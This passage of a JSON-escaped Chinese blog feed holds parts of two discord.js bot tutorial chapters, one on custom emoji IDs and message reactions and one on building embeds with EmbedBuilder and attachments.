/\u003e\u003c/p\u003e\n\u003ch3\u003e给服务器上传一个表情符号\u003c/h3\u003e\n\u003cp\u003e假设你的服务器没有任何表情符号,如果你有,可以跳过上传这一步,直接跳到获取 id。\u003c/p\u003e\n\u003cp\u003e打开 Discord,点击一个你拥有管理员或服主身份的服务器,打开服务器设置,点击 “表情符号” 选项卡,上传一个表情符号并命名。比如我们选择了一张 Wumpus 图片上传,并命名为 “WumpusMistletoe2”。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222242340-743465457.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222229823-1884263309.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注意,不同服务器里的表情名字可以重复,但是它们的 id 将不会相同。当机器人使用 .find() 通过名字寻找表情时,该方法总会返回它找到的第一项,这可能与你所期望的表情不匹配。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003e获取表情 id\u003c/h3\u003e\n\u003cp\u003e相同的图片在相同的服务器里上传,也会得到不同的 id。这是因为 Discord 的 id 是 Snowflake 值。具体关于 Discord snowflake id,我在系列文章 Chapter 6 的最后介绍过,这里不重复介绍。\u003c/p\u003e\n\u003ch4\u003e方法一\u003c/h4\u003e\n\u003cp\u003e接下来回到服务器聊天区获取表情 id。\u003c/p\u003e\n\u003cp\u003e延续上一步举例的例子。在聊天框输入 \u003ccode\u003e\\:WumpusMistletoe2:\u003c/code\u003e 并回车发送,你的消息会被自动替换成表情 id。:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230125124039064-1376380584.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e这样,我们就获取到本例中关键的 id: \u003ccode\u003e\u0026lt;:WumpusMistletoe2:1067024784057184266\u0026gt;\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e不要复制我的 id,这个 id 只在我的服务器里有效。\u003c/p\u003e\n\u003ch4\u003e方法二\u003c/h4\u003e\n\u003cp\u003e打开 PC 端浏览器,按下 \u003ccode\u003eCtrl + Shift + C\u003c/code\u003e,将鼠标指向你需要获取 id 的表情图标上,单击。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230125124113720-849754551.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e在开发者工具中,你能看到高亮区域代码里的 alt 值是 \u003ccode\u003e:WumpusMistletoe2:\u003c/code\u003e,data-id 值是 \u003ccode\u003e1067024784057184266\u003c/code\u003e。将其用格式 \u0026lt;:alt:data-id\u0026gt; 组合一下就得到了关键的信息: \u003ccode\u003e\u0026lt;:WumpusMistletoe2:1067024784057184266\u0026gt;\u003c/code\u003e。\u003c/p\u003e\n\u003ch3\u003e向 index.js 添加关键 GatewayBitField\u003c/h3\u003e\n\u003ch1\u003e\u003cstrong\u003e这很重要!!\u003c/strong\u003e\u003c/h1\u003e\n\u003cp\u003e给 client 增加一个 \u003ccode\u003eGatewayIntentBits.GuildMessageReactions\u003c/code\u003e,这样才可以获取消息的反应。\u003c/p\u003e\n\u003cp\u003e修改后的那一行如下:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\nconst client = new Client({ intents: [GatewayIntentBits.Guilds, GatewayIntentBits.GuildMessages, GatewayIntentBits.MessageContent, GatewayIntentBits.GuildMessageReactions] });\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e具体的 commit:\nGithub: https://github.com/wtflmao/discord_bot_example/commit/dfbad3ca953e2ca25ac4673fbcea3a549eff9c77\nGitee: https://gitee.com/wtflmao/discord_bot_example/commit/dfbad3ca953e2ca25ac4673fbcea3a549eff9c77\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eP.S. 这里我们在 index.js 只使用一个 Client 实例并赋予所有可能用到的 Intents,后续交互复用这个实例,其实是一种偷懒且具有潜在风险的做法。建议不要学我这么做。但是我们的代码已经都这样了,何况我只是以学习为目的的写这个项目,没打算直接上生产环境,那就让它维持现在这样的屎山状态吧哈哈。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003e回复表情\u003c/h3\u003e\n\u003cp\u003e下面修改文件 \u003ccode\u003e/cmdPaths.js\u003c/code\u003e,在 data 域里加入新的一条 \"./commands/reactions\"。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = {\n data: [\"./commands\", \"./commands/utils\", \"./commands/buttons\", \"./commands/menus\", \"./commands/modals\", \"./commands/contextMenus\", \"./commands/embeds\", \"./commands/reactions\"],\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e新建文件 \u003ccode\u003e/commands/reactions/reaction.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder} = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('react')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n\n const message = await interaction.reply({ content: 'You can react with Unicode emojis!', fetchReply: true });\n await message.react('😄');\n\n const message2 = await interaction.followUp({ content: \"Here's a custom emoji!\", fetchReply: true });\n await message2.react('\u0026lt;:WumpusMistletoe2:1067024784057184266\u0026gt;');\n },\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e运行 /react,得到结果:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222348664-314695206.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e.react() 还支持多种不同格式的传入值,比如\nmeaasge.react(\"\u0026lt;:WumpusMistletoe2:1067024784057184266\u0026gt;\");\nmeaasge.react(\"\u0026lt;a:WumpusMistletoe2:1067024784057184266\u0026gt;\");\nmeaasge.react(\"a:WumpusMistletoe2:1067024784057184266\");\nmeaasge.react(\"WumpusMistletoe2:1067024784057184266\");\nmeaasge.react(\"1067024784057184266\");\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e下面我们使用 \u003ccode\u003e.find()\u003c/code\u003e 来用表情名称寻找一个表情。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n const message3 = await interaction.followUp({ content: \"Here we grab an emoji by its name\", fetchReply: true });\n await message3.react(message3.guild.emojis.cache.find(emoji =\u0026gt; emoji.name === 'WumpusMistletoe2'));\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222404785-1141340977.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e下面我们使用 \u003ccode\u003e.get()\u003c/code\u003e 来用纯数字 id 指定一个表情。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n const message4 = await interaction.followUp({ content: \"Here we grab an emoji by its id\", fetchReply: true });\n // Emoji must be a string or GuildEmoji/ReactionEmoji\n await message4.react(interaction.client.emojis.cache.get('1067024784057184266'));\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222416426-220121391.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e我们得到了 \u003ccode\u003ecommands/reactions/reaction.js\u003c/code\u003e 的完整代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder} = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('react')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n\n const message = await interaction.reply({ content: 'You can react with Unicode emojis!', fetchReply: true });\n await message.react('😄');\n\n const message2 = await interaction.followUp({ content: \"Here's a custom emoji!\", fetchReply: true });\n await message2.react('\u0026lt;:WumpusMistletoe2:1067024784057184266\u0026gt;');\n\n const message3 = await interaction.followUp({ content: \"Here we grab an emoji by its name\", fetchReply: true });\n await message3.react(message3.guild.emojis.cache.find(emoji =\u0026gt; emoji.name === 'WumpusMistletoe2'));\n\n const message4 = await interaction.followUp({ content: \"Here we grab an emoji by its id\", fetchReply: true });\n // Emoji must be a string or GuildEmoji/ReactionEmoji\n await message4.react(interaction.client.emojis.cache.get('1067024784057184266'));\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e多表情的按顺序逐个反应\u003c/h3\u003e\n\u003cp\u003e用 \u003ccode\u003ecommands/reactions/multiReactions.js\u003c/code\u003e 来举例:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder} = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('multireact')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n const message = await interaction.reply({ content: 'You can react with Unicode emojis!', fetchReply: true });\n // \"c u m\" in order\n // the first way to do this is using serial .then() on the previous .react()\n await message.react('🇨')\n .then(() =\u0026gt; message.react('🇺')\n .then(() =\u0026gt; message.react('🇲')\n .then(() =\u0026gt; message.react('❗'))));\n\n const msg = await interaction.channel.send({ content: 'AHHhhhhhhHHHhh', fetchReply: true });\n // the second way to do this, is using paralleled .then() on the msg\n await msg.react('🇸')\n .then(() =\u0026gt; msg.react('🇭'))\n .then(() =\u0026gt; msg.react('🇮'))\n .then(() =\u0026gt; msg.react('🇹'));\n\n // the third way to do this is using .react() multiple times\n const menu = await interaction.channel.send({ content: 'Library search result:\\n\\n\\tThe Art of War, Sun Tzu, Filiquarian 2017, PDF\\n\\tMinecraft: The Shipwreck, C. B. Lee, Del Ray 2020, Paperback\\n\\tand more...\\n\\nPage 1/4', fetchReply: true });\n await menu.react('⬅️');\n await menu.react('1️⃣');\n await menu.react('2️⃣');\n await menu.react('3️⃣');\n await menu.react('4️⃣');\n await menu.react('➡️');\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e表情会按顺序逐个添加到指定的消息上去。\u003c/p\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222436755-471884608.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e多表情的无特定顺序反应\u003c/h3\u003e\n\u003cp\u003e用 \u003ccode\u003ecommands/reactions/multiReactions2.js\u003c/code\u003e 来举例:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder} = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('multireact2')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n const message = await interaction.reply({ content: 'You can react with Unicode emojis!', fetchReply: true });\n\n Promise.all([\n message.react('🇨'),\n message.react('🇺'),\n message.react('🇲'),\n message.react('❗'),\n message.react('🇸'),\n message.react('🇭'),\n message.react('🇮'),\n message.react('🇹'),\n ])\n .catch(error =\u0026gt; console.error('One of the emojis failed to react:', error));\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222449548-985445736.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e移除表情反应\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e所有这些方法都需要机器人在服务器里有 ManageMessages 权限。请确保你的机器人具有权限,否则它将出错。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e确保不要过多地删除表情符号或用户的反应。如果短时间内添加或删除了很多反应,它可以被认为是 API 滥用。\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch4\u003e按表情移除反应\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003emessage.reactions.cache.get('🇫').remove()\n\t.catch(error =\u0026gt; console.error('Failed to remove reactions:', error));\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面给出 \u003ccode\u003ecommands/reactions/rmReaction.js\u003c/code\u003e :\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder} = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('rmreact')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n\n const message = await interaction.reply({ content: 'You can react with Unicode emojis!', fetchReply: true });\n await message.react('😄');\n await message.react('🆒');\n await message.react('😃');\n await message.react('😕');\n\n message.reactions.cache.get('🆒').remove()\n .catch(error =\u0026gt; console.error('Failed to remove reactions:', error));\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果的话,读代码就行,很好懂的。\u003c/p\u003e\n\u003ch4\u003e按用户移除反应\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003e// 获取用户 id 为 “userId” 的用户对消息 “message” 所有的反应\nconst userReactions = message.reactions.cache.filter(reaction =\u0026gt; reaction.users.cache.has(userId));\n\ntry {\n\t// 遍历这些反应,并从消息底下移除\n\tfor (const reaction of userReactions.values()) {\n\t\tawait reaction.users.remove(userId);\n\t}\n} catch (error) {\n\tconsole.error('Failed to remove reactions.');\n}\n\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003e移除消息全部反应\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003emessage.reactions.removeAll()\n\t.catch(error =\u0026gt; console.error('Failed to clear reactions:', error));\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e等待反应\u003c/h3\u003e\n\u003cp\u003e使用曾经用过的 Collector 可以轻松解决这个问题。在咱们的另一个项目 guess_the_number (https://github.com/wtflmao/guess_the_number) 里,我们已经用过了简单的消息收集器 (https://www.cnblogs.com/hhzm/p/16508453.html) ;在 Chapter 12 按钮的 collector,把它们拿来改成适用于表情反应事件的收集器也是很容易的。\u003c/p\u003e\n\u003cp\u003e下面给出 \u003ccode\u003ecommands/reactions/collectReaction.js\u003c/code\u003e :\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('collectreact')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n\n const message = await interaction.reply({ content: 'You can react with a thumbs UP or a thumbs DOWN.', fetchReply: true })\n message.react('👍').then(() =\u0026gt; message.react('👎').then(() =\u0026gt; message.react('😋')));\n const filter = (reaction, user) =\u0026gt; {\n return (['👍', '👎','😋'].includes(reaction.emoji.name)) \u0026amp;\u0026amp; (user.id === interaction.user.id);\n };\n\n const collector = message.createReactionCollector({ filter, time: 10000 });\n\n collector.on('collect', (reaction, user) =\u0026gt; {\n console.log(`Collected ${reaction.emoji} from ${user}`);\n });\n\n collector.on('end', collected =\u0026gt; {\n if (collected.size === 0) {\n message.reply(\"Nothing valid you've reacted.\");\n return;\n }\n\n collected.forEach(reaction =\u0026gt; {\n if (reaction.emoji.name === '👍') {\n interaction.channel.send('You reacted with a thumbs UP.');\n } else if (reaction.emoji.name === '👎') {\n interaction.channel.send('You reacted with a thumbs DOWN.');\n } else {\n interaction.channel.send('You reacted with a YUM.');\n }\n })\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222637643-85320352.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222643342-919030606.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e上面的代码写起来很繁琐。幸好我们还有简单的写法。\u003c/p\u003e\n\u003cp\u003e下面给出 \u003ccode\u003ecommands/reactions/awaitReact.js\u003c/code\u003e 的代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('awaitreact')\n .setDescription('Replies with reaction!'),\n async execute(interaction) {\n\n const message = await interaction.reply({ content: 'You can react with a thumbs UP or a thumbs DOWN.', fetchReply: true })\n message.react('👍').then(() =\u0026gt; message.react('👎').then(() =\u0026gt; message.react('😋')));\n const filter = (reaction, user) =\u0026gt; {\n return (['👍', '👎','😋'].includes(reaction.emoji.name)) \u0026amp;\u0026amp; (user.id === interaction.user.id);\n };\n\n\t\t// 注意这里的 errors: ['time'] 不要忘了\n await message.awaitReactions({ filter, time: 10000, errors: ['time'] })\n .then(collected =\u0026gt; {\n collected.forEach(reaction =\u0026gt; {\n if (reaction.emoji.name === '👍') {\n interaction.channel.send('You reacted with a thumbs UP.');\n } else if (reaction.emoji.name === '👎') {\n interaction.channel.send('You reacted with a thumbs DOWN.');\n } else {\n interaction.channel.send('You reacted with a YUM.');\n }\n })\n })\n .catch(() =\u0026gt; {\n interaction.channel.send(\"Nothing valid you've reacted.\");\n });\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222701824-1624056038.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230124222754424-506222329.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e利用 \u003ccode\u003emessage.awaitReactions([options])\u003c/code\u003e 来代替 \u003ccode\u003emessage.createReactionCollector([options])\u003c/code\u003e 要更简单明了。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-14/"},{"title":"Bot in Discord with discord.js (13)","time":"2023-01-10T00:00:00Z","content":"\u003ch1\u003eChapter 16 - 嵌入式元素\u003c/h1\u003e\n\u003ch3\u003eembed\u003c/h3\u003e\n\u003cp\u003e嵌入式元素(Embed)是一种一般由机器人发送的、通常具有彩色边框、嵌入图像、文本字段和其他奇特的属性的消息。比如下图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203322898-288340297.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003eEmbed 一般来说,可以具有以下域:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eauthor\u003c/li\u003e\n\u003cli\u003ecolor\u003c/li\u003e\n\u003cli\u003edescription\u003c/li\u003e\n\u003cli\u003efields\u003c/li\u003e\n\u003cli\u003efooter\u003c/li\u003e\n\u003cli\u003eimage\u003c/li\u003e\n\u003cli\u003ethumbnail\u003c/li\u003e\n\u003cli\u003etitle\u003c/li\u003e\n\u003cli\u003eurl\u003c/li\u003e\n\u003cli\u003evideo\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e其中,各 fields 的格式为 \u003ccode\u003e{ name: '名字', value: '值', inline: true或false }\u003c/code\u003e ,\nfooter 的格式为 \u003ccode\u003e{ text: '页脚文字', icon_url: '页脚图标地址' }\u003c/code\u003e ,\nauthor 的格式为 \u003ccode\u003e{ name: '作者名', icon_url: '作者图标地址', url: '作者网站' }\u003c/code\u003e ,\nthumbnail 和 image 的格式:\u003ccode\u003e{ url: '图片地址' }\u003c/code\u003e ,\ntimestamp 只接受 ISO8601 格式的时间值。\u003c/p\u003e\n\u003cp\u003e有了上面这些知识,我们就可以组建一个 embed JSON 对象了:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// directly use a JSON object to represents an embed\nconst exampleJSONEmbed = {\n color: 0xC1F8C0,\n title: '标题标题',\n url: 'https://discord.js.org/',\n author: {\n name: '作者名字',\n url: 'https://discord.js.org',\n icon_url: 'https://i.imgur.com/AfFp7pu.png'\n },\n description: '这里给出一些介绍',\n thumbnail: {\n url: 'https://i.imgur.com/fwO0TqB.jpeg'\n },\n fields: [\n { name: '普通域标题', value: 'Some value here1' },\n { name: '普通域标题', value: 'Some value here11,下面那个是空白域' },\n { name: '\\u200B', value: '\\u200B' },\n { name: '内联域标题1', value: 'Some value here111', inline: true },\n { name: '内联域标题2', value: 'Some value here3', inline: true },\n { name: '内联域标题3', value: 'Some value here4', inline: true }\n ],\n image: {\n url: 'https://i.imgur.com/yA1u8wt.jpeg'\n },\n // here timestamp field only accepts ISO8601 number or string\n timestamp: (new Date()).toISOString(),\n footer: {\n text: '页脚文字',\n icon_url: 'https://i.imgur.com/AfFp7pu.png'\n }\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e然后我们构建一个叫 \u003ccode\u003e/embed\u003c/code\u003e 的简单斜杠命令,把它放进去,在接着,将 JSON 对象 exampleJSONEmbed 直接放入 .reply 的 embeds 参数列表,用于回复斜杠命令:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eawait interaction.reply({ embeds: [exampleJSONEmbed] });\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203513175-1561572284.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e每次都要从 JSON 对象开始构建的话,代码就不好看了。更何况,我们之前使用的按钮、下拉列表等组件都有自己的 Builder。难道嵌入式元素没有这样的一个 Builder 吗?\u003c/p\u003e\n\u003cp\u003e有的。这个 Builder 叫 EmbedBuilder。\u003c/p\u003e\n\u003cp\u003e我们删掉上面的代码,将上面 “直接用 JSON 对象描述的 embed” 重新用 “new EmbedBuilder()” 来构建。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// This EmbedBuilder() has to be inside a command or listener\nconst exampleEmbed = new EmbedBuilder()\n .setColor(0xC1F8C0)\n .setTitle('标题标题')\n .setURL('https://discord.js.org/')\n .setAuthor({ name: '作者名字', iconURL: 'https://i.imgur.com/AfFp7pu.png', url: 'https://discord.js.org' })\n .setDescription('这里给出一些介绍')\n .setThumbnail('https://i.imgur.com/fwO0TqB.jpeg')\n .addFields(\n { name: '普通域标题', value: 'Some value here1' },\n { name: '普通域标题', value: 'Some value here11,下面那个是空白域' },\n // add a blank field in the embed\n { name: '\\u200B', value: '\\u200B' },\n { name: '内联域标题1', value: 'Some value here111', inline: true },\n { name: '内联域标题2', value: 'Some value here3', inline: true },\n )\n .addFields({ name: '内联域标题3', value: 'Some value here4', inline: true })\n .setImage('https://i.imgur.com/yA1u8wt.jpeg')\n // .setTimestamp() accept a Number, a null or a Date value\n .setTimestamp()\n .setFooter({ text: '页脚文字', iconURL: 'https://i.imgur.com/AfFp7pu.png' });\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这时的 exampleEmbed 已经不是 JSON 了,而是一个 Embed 类型的对象。\u003c/p\u003e\n\u003cp\u003e接着回复斜杠命令:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eawait interaction.reply({ embeds: [exampleEmbed] });\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203548338-815519423.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e两种构建方法做出来的 embed 是一模一样的。\u003c/p\u003e\n\u003cp\u003e很多时候,我们用不着指定这么多值,可能只需要 title、thumbnail 和 description 等就够了。我们给出一个简单的 embed:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst simpleEmbed = new EmbedBuilder()\n .setTitle('Columbus, Ohio: Weather report')\n .setURL('https://weather.com/weather/today/l/8db513f8f8993797550b32062dfa5d4d83dd97b28ad0b55ec0033a14fe58a86dc0163883d8c5bf8f66aa6173005f3ebc')\n .setThumbnail('https://i.imgur.com/sRwMnNA.jpeg')\n .setDescription('31 °F\\nMostly Cloudy')\n .setFields(\n { name:'High', value: '41 °F', inline: true},\n { name:'Low', value: '28 °F', inline: true},\n );\n\nawait interaction.channel.send({ content: \"Here's a simple embed\", embeds: [simpleEmbed] });\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203606341-1221751048.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e为了三个 embed 放在一起对比,我写了 \u003ccode\u003ecommands/embeds/embed.js\u003c/code\u003e ,但是这个文件基本上只是三个 embed 的复制粘贴,所以为了避免本文冗长,我把相关 commit 留在这里,读者可以自己去看:\u003c/p\u003e\n\u003cp\u003ehttps://github.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\nhttps://gitee.com/wtflmao/discord_bot_example/commit/642a555373d40759fb7afce1c32bb0d16d16fb56\u003c/p\u003e\n\u003ch3\u003efileds\u003c/h3\u003e\n\u003cp\u003e你可能注意到了, fields 是个数组,接受最多 25 个 field。\u003c/p\u003e\n\u003cp\u003e内联(inline)的 field 可用于将连续的几个 field 并排显示而不是默认的一行一个。\u003c/p\u003e\n\u003cp\u003e要并排显示字段,你至少需要将两个连续的字段设置为内联。\u003c/p\u003e\n\u003cp\u003e比如:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst exampleEmbed = new EmbedBuilder()\n .setTitle('test')\n .addFields(\n { name: 'B1', value: '1', inline: true },\n { name: 'B2', value: '2', inline: true }\n )\n .addFields({ name: 'C1', value: '3' })\n .addFields(\n { name: 'D1', value: '4', inline: true },\n { name: 'D2', value: '5', inline: true },\n { name: 'D3', value: '6', inline: true }\n );\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203804465-603098193.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e上面的代码是为了美观,才将位于同一行上显示的 fields 在源代码这边也聚在了一块儿。事实上,下面的代码虽然看起来和上面的不一样,但是效果是一模一样的。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecommands/embeds/inlineFields.js\u003c/code\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst exampleEmbed = new EmbedBuilder()\n .setTitle('test')\n .addFields({ name: 'B1', value: '1', inline: true })\n .addFields(\n { name: 'B2', value: '2', inline: true },\n { name: 'C1', value: '3' },\n { name: 'D1', value: '4', inline: true }\n )\n .addFields(\n { name: 'D2', value: '5', inline: true },\n { name: 'D3', value: '6', inline: true }\n );\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"https://img2023.cnblogs.com/blog/2455224/202301/2455224-20230110203831492-1186402763.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e要构建一个空白 field,可以这样做:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e.addFields({ name: '\\u200B​', value: '\\u200B​' }),\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e空白 field 既可以独立成行,也可以作为内联 fields 的成员之一。\u003c/p\u003e\n\u003cp\u003eDiscord API 对 embed 做出了一些限制:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003etitle 最长 256 字符\u003c/li\u003e\n\u003cli\u003edescription 最长 4096 字符\u003c/li\u003e\n\u003cli\u003e最多 25 个 field\u003c/li\u003e\n\u003cli\u003e一个 field 的 name 最长 256 字符\u003c/li\u003e\n\u003cli\u003e一个 field 的 value 最长 1024 字符\u003c/li\u003e\n\u003cli\u003efooter 的 text 最长 2048 字符\u003c/li\u003e\n\u003cli\u003eauthor 的 name 最长 256 字符\u003c/li\u003e\n\u003cli\u003eembed 所构成的 JSON 最长不超过 6000 字符\u003c/li\u003e\n\u003cli\u003e一条消息最多 10 个 embeds\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e使用附件(attachment)的 embed\u003c/h3\u003e\n\u003cp\u003e通过使用 AttachmentBuilder(),我们可以利用 URL 为 embed 的相关域构建一个图片附件,这样,我们就可以使用 \u003ccode\u003eattachment://fileName.extension\u003c/code\u003e 来访问相关附件。\u003c/p\u003e\n\u003cp\u003e虽然我们还没学到 AttachmentBuilder,但是我们先简单用一下还是可以的。\u003c/p\u003e\n\u003cp\u003e什么时候应该使用(本地上传的)附件?什么时候应该使用(存储于远程服务器的)图片的 URL?\u003c/p\u003e\n\u003cp\u003e对于那些经常重复使用的、相同的图片,建议提前上传存储至云端并确定文件 URL,比如 aws,这样就可以加速机器人的响应了。如果由附件上传,将会导致相同的图片被一遍又一遍的等候上传至 Discord 服务器,浪费时间。\u003c/p\u003e\n\u003cp\u003e对于那些机器人动态生成的图片,直接使用附件上传就好了,附件将上传至 Discord 的 CDN 服务器,无需由你来确定文件位置的 URL。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecommands/embeds/embedWithAttachment.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { AttachmentBuilder, EmbedBuilder, SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('embedattachment')\n .setDescription('Replies with embed!'),\n async execute(interaction) {\n // 这里的工作目录 “./” 是 \"discord_bot_example\"\n const dogeCoffee = new AttachmentBuilder('assets/dogeCoffee.jpg');\n const githubIcon = new AttachmentBuilder('assets/githubIcon.jpg');\n\n // 这个 EmbedBuilder() 必须位于命令里或者监听器里\n const embed = new 